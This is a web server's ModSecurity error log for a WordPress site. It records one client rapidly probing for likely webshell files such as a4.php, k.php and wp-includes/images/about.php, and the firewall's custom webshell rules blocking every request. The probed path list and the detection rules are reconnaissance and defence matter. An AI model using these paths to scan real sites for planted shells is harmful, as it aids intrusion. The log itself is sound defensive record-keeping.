[Tue Mar 24 05:24:56.016670 2026] [:error] [pid 3030:tid 3055] [client 172.213.136.15:35327] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "acGvqAyOuILyynfcqfnygwAAAAY"]
[Tue Mar 24 05:24:57.067069 2026] [:error] [pid 3137:tid 3139] [client 172.213.136.15:42220] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "acGvqZdZesutm6dfYM_bCQAAAMA"]
[Tue Mar 24 05:25:00.171532 2026] [:error] [pid 38767:tid 38774] [client 172.213.136.15:29746] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "acGvrPwkUqN4GJAI5oVs1gAAAQQ"]
[Tue Mar 24 05:25:01.010682 2026] [:error] [pid 3137:tid 3154] [client 172.213.136.15:25096] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "acGvrZdZesutm6dfYM_bIQAAAM8"]
[Tue Mar 24 05:25:01.926021 2026] [:error] [pid 3137:tid 3151] [client 172.213.136.15:33700] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "acGvrZdZesutm6dfYM_bJwAAAMw"]
[Tue Mar 24 05:25:02.991967 2026] [:error] [pid 3030:tid 3052] [client 172.213.136.15:21154] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "acGvrgyOuILyynfcqfnyhwAAAAM"]
[Tue Mar 24 05:25:03.728503 2026] [:error] [pid 3137:tid 3157] [client 172.213.136.15:6594] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "acGvr5dZesutm6dfYM_bNQAAANI"]
[Tue Mar 24 05:25:04.781686 2026] [:error] [pid 3032:tid 3127] [client 172.213.136.15:23459] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "acGvsCa_-JXXD03-JNzCVwAAAJc"]
[Tue Mar 24 05:25:06.494628 2026] [:error] [pid 38767:tid 38788] [client 172.213.136.15:42210] [client 172.213.136.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/about.php"] [unique_id "acGvsvwkUqN4GJAI5oVs-AAAARI"]
[Tue Mar 24 05:25:07.917890 2026] [:error] [pid 38767:tid 38782] [client 172.213.136.15:31979] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lp6.php"] [unique_id "acGvs_wkUqN4GJAI5oVtAQAAAQw"]
[Tue Mar 24 05:25:08.921315 2026] [:error] [pid 3030:tid 3073] [client 172.213.136.15:42198] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lp6.php"] [unique_id "acGvtAyOuILyynfcqfnyiwAAABg"]
[Tue Mar 24 05:25:10.167863 2026] [:error] [pid 3030:tid 3049] [client 172.213.136.15:27857] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lp6.php"] [unique_id "acGvtgyOuILyynfcqfnyjgAAAAA"]
[Tue Mar 24 05:25:11.410543 2026] [:error] [pid 38767:tid 38792] [client 172.213.136.15:34451] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lp6.php"] [unique_id "acGvt_wkUqN4GJAI5oVtEAAAARY"]
[Tue Mar 24 05:25:12.829704 2026] [:error] [pid 3137:tid 3155] [client 172.213.136.15:24227] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mjq.php"] [unique_id "acGvuJdZesutm6dfYM_bSAAAANA"]
[Tue Mar 24 05:25:13.950868 2026] [:error] [pid 3032:tid 3107] [client 172.213.136.15:21610] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mjq.php"] [unique_id "acGvuSa_-JXXD03-JNzCZAAAAIQ"]
[Tue Mar 24 05:25:15.270093 2026] [:error] [pid 3137:tid 3149] [client 172.213.136.15:21001] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mjq.php"] [unique_id "acGvu5dZesutm6dfYM_bTgAAAMo"]
[Tue Mar 24 05:25:31.981365 2026] [:error] [pid 3137:tid 3144] [client 172.213.136.15:22289] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "acGvy5dZesutm6dfYM_bewAAAMU"]
[Tue Mar 24 05:25:33.512089 2026] [:error] [pid 38767:tid 38791] [client 172.213.136.15:25533] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "acGvzfwkUqN4GJAI5oVtSQAAARU"]
[Tue Mar 24 05:25:34.872584 2026] [:error] [pid 3137:tid 3142] [client 172.213.136.15:21026] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "acGvzpdZesutm6dfYM_bgAAAAMM"]
[Tue Mar 24 05:25:35.734010 2026] [:error] [pid 3137:tid 3162] [client 172.213.136.15:27576] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "acGvz5dZesutm6dfYM_bhQAAANc"]
[Tue Mar 24 05:25:37.229651 2026] [:error] [pid 3031:tid 3086] [client 172.213.136.15:21000] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "acGv0aJBKytnG47nuibWzwAAAEo"]
[Tue Mar 24 05:25:38.519332 2026] [:error] [pid 3032:tid 3107] [client 172.213.136.15:27949] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "acGv0ia_-JXXD03-JNzCeAAAAIQ"]
[Tue Mar 24 05:25:39.415058 2026] [:error] [pid 3032:tid 3108] [client 172.213.136.15:22813] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "acGv0ya_-JXXD03-JNzCegAAAIU"]
[Tue Mar 24 05:25:40.491472 2026] [:error] [pid 38767:tid 38791] [client 172.213.136.15:22785] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "acGv1PwkUqN4GJAI5oVtUwAAARU"]
[Tue Mar 24 05:25:41.796826 2026] [:error] [pid 3032:tid 3109] [client 172.213.136.15:30208] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/past1.php"] [unique_id "acGv1Sa_-JXXD03-JNzCggAAAIY"]
[Tue Mar 24 05:25:42.628564 2026] [:error] [pid 3030:tid 3072] [client 172.213.136.15:44627] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/past1.php"] [unique_id "acGv1gyOuILyynfcqfnyrAAAABc"]
[Tue Mar 24 05:25:44.378655 2026] [:error] [pid 3137:tid 3154] [client 172.213.136.15:24278] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/past1.php"] [unique_id "acGv2JdZesutm6dfYM_bjgAAAM8"]
[Tue Mar 24 05:25:45.558015 2026] [:error] [pid 3031:tid 3084] [client 172.213.136.15:21023] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/past1.php"] [unique_id "acGv2aJBKytnG47nuibW1wAAAEg"]
[Tue Mar 24 05:25:46.200290 2026] [:error] [pid 3031:tid 3091] [client 172.213.136.15:21461] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8xyz.php"] [unique_id "acGv2qJBKytnG47nuibW2AAAAE8"]
[Tue Mar 24 05:25:47.315547 2026] [:error] [pid 3032:tid 3103] [client 172.213.136.15:48220] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8xyz.php"] [unique_id "acGv2ya_-JXXD03-JNzChwAAAIA"]
[Tue Mar 24 05:25:48.305444 2026] [:error] [pid 3137:tid 3145] [client 172.213.136.15:35812] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8xyz.php"] [unique_id "acGv3JdZesutm6dfYM_blQAAAMY"]
[Tue Mar 24 05:25:49.473811 2026] [:error] [pid 3031:tid 3078] [client 172.213.136.15:51997] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8xyz.php"] [unique_id "acGv3aJBKytnG47nuibW4AAAAEI"]
[Tue Mar 24 05:25:50.667400 2026] [:error] [pid 3137:tid 3149] [client 172.213.136.15:38063] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "acGv3pdZesutm6dfYM_bmgAAAMo"]
[Tue Mar 24 05:25:51.676641 2026] [:error] [pid 3032:tid 3114] [client 172.213.136.15:39486] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "acGv3ya_-JXXD03-JNzCigAAAIs"]
[Tue Mar 24 05:25:52.840469 2026] [:error] [pid 3137:tid 3163] [client 172.213.136.15:38055] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "acGv4JdZesutm6dfYM_bnwAAANg"]
[Tue Mar 24 05:25:53.965549 2026] [:error] [pid 3030:tid 3064] [client 172.213.136.15:6560] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "acGv4QyOuILyynfcqfnytQAAAA8"]
[Tue Mar 24 05:25:54.627124 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:25727] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bk.php"] [unique_id "acGv4vwkUqN4GJAI5oVtZQAAAQM"]
[Tue Mar 24 05:25:55.613701 2026] [:error] [pid 38767:tid 38788] [client 172.213.136.15:6406] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bk.php"] [unique_id "acGv4_wkUqN4GJAI5oVtaAAAARI"]
[Tue Mar 24 05:25:57.847391 2026] [:error] [pid 38767:tid 38777] [client 172.213.136.15:39474] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bk.php"] [unique_id "acGv5fwkUqN4GJAI5oVtbwAAAQc"]
[Tue Mar 24 05:25:59.195660 2026] [:error] [pid 3031:tid 3081] [client 172.213.136.15:31438] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bk.php"] [unique_id "acGv56JBKytnG47nuibW5QAAAEU"]
[Tue Mar 24 05:26:00.238065 2026] [:error] [pid 38767:tid 38771] [client 172.213.136.15:21342] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "acGv6PwkUqN4GJAI5oVteAAAAQE"]
[Tue Mar 24 05:26:02.961010 2026] [:error] [pid 38767:tid 38789] [client 172.213.136.15:39440] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "acGv6vwkUqN4GJAI5oVtgQAAARM"]
[Tue Mar 24 05:26:03.965762 2026] [:error] [pid 3137:tid 3142] [client 172.213.136.15:21690] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "acGv65dZesutm6dfYM_bsQAAAMM"]
[Tue Mar 24 05:26:04.974937 2026] [:error] [pid 3032:tid 3125] [client 172.213.136.15:6829] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "acGv7Ca_-JXXD03-JNzCkwAAAJY"]
[Tue Mar 24 05:26:05.750545 2026] [:error] [pid 3031:tid 3087] [client 172.213.136.15:26246] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sx.php"] [unique_id "acGv7aJBKytnG47nuibW6QAAAEs"]
[Tue Mar 24 05:26:07.433481 2026] [:error] [pid 3032:tid 3124] [client 172.213.136.15:25357] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sx.php"] [unique_id "acGv7ya_-JXXD03-JNzClwAAAJU"]
[Tue Mar 24 05:26:08.141842 2026] [:error] [pid 38767:tid 38779] [client 172.213.136.15:25618] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sx.php"] [unique_id "acGv8PwkUqN4GJAI5oVtkQAAAQk"]
[Tue Mar 24 05:26:08.854838 2026] [:error] [pid 3137:tid 3140] [client 172.213.136.15:25648] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sx.php"] [unique_id "acGv8JdZesutm6dfYM_bwwAAAME"]
[Tue Mar 24 05:26:09.587148 2026] [:error] [pid 38767:tid 38790] [client 172.213.136.15:24864] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "acGv8fwkUqN4GJAI5oVtnAAAARQ"]
[Tue Mar 24 05:26:10.462792 2026] [:error] [pid 3030:tid 3073] [client 172.213.136.15:21646] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "acGv8gyOuILyynfcqfnytwAAABg"]
[Tue Mar 24 05:26:11.041867 2026] [:error] [pid 3031:tid 3092] [client 172.213.136.15:21320] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "acGv86JBKytnG47nuibW8wAAAFA"]
[Tue Mar 24 05:26:11.648795 2026] [:error] [pid 3031:tid 3080] [client 172.213.136.15:32688] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "acGv86JBKytnG47nuibW-gAAAEQ"]
[Tue Mar 24 05:26:12.475124 2026] [:error] [pid 38767:tid 38772] [client 172.213.136.15:39456] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byel.php"] [unique_id "acGv9PwkUqN4GJAI5oVtqwAAAQI"]
[Tue Mar 24 05:26:13.227412 2026] [:error] [pid 3031:tid 3087] [client 172.213.136.15:39462] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byel.php"] [unique_id "acGv9aJBKytnG47nuibXCQAAAEs"]
[Tue Mar 24 05:26:14.404567 2026] [:error] [pid 3031:tid 3089] [client 172.213.136.15:36026] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byel.php"] [unique_id "acGv9qJBKytnG47nuibXEgAAAE0"]
[Tue Mar 24 05:26:15.082371 2026] [:error] [pid 3031:tid 3084] [client 172.213.136.15:35736] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byel.php"] [unique_id "acGv96JBKytnG47nuibXGQAAAEg"]
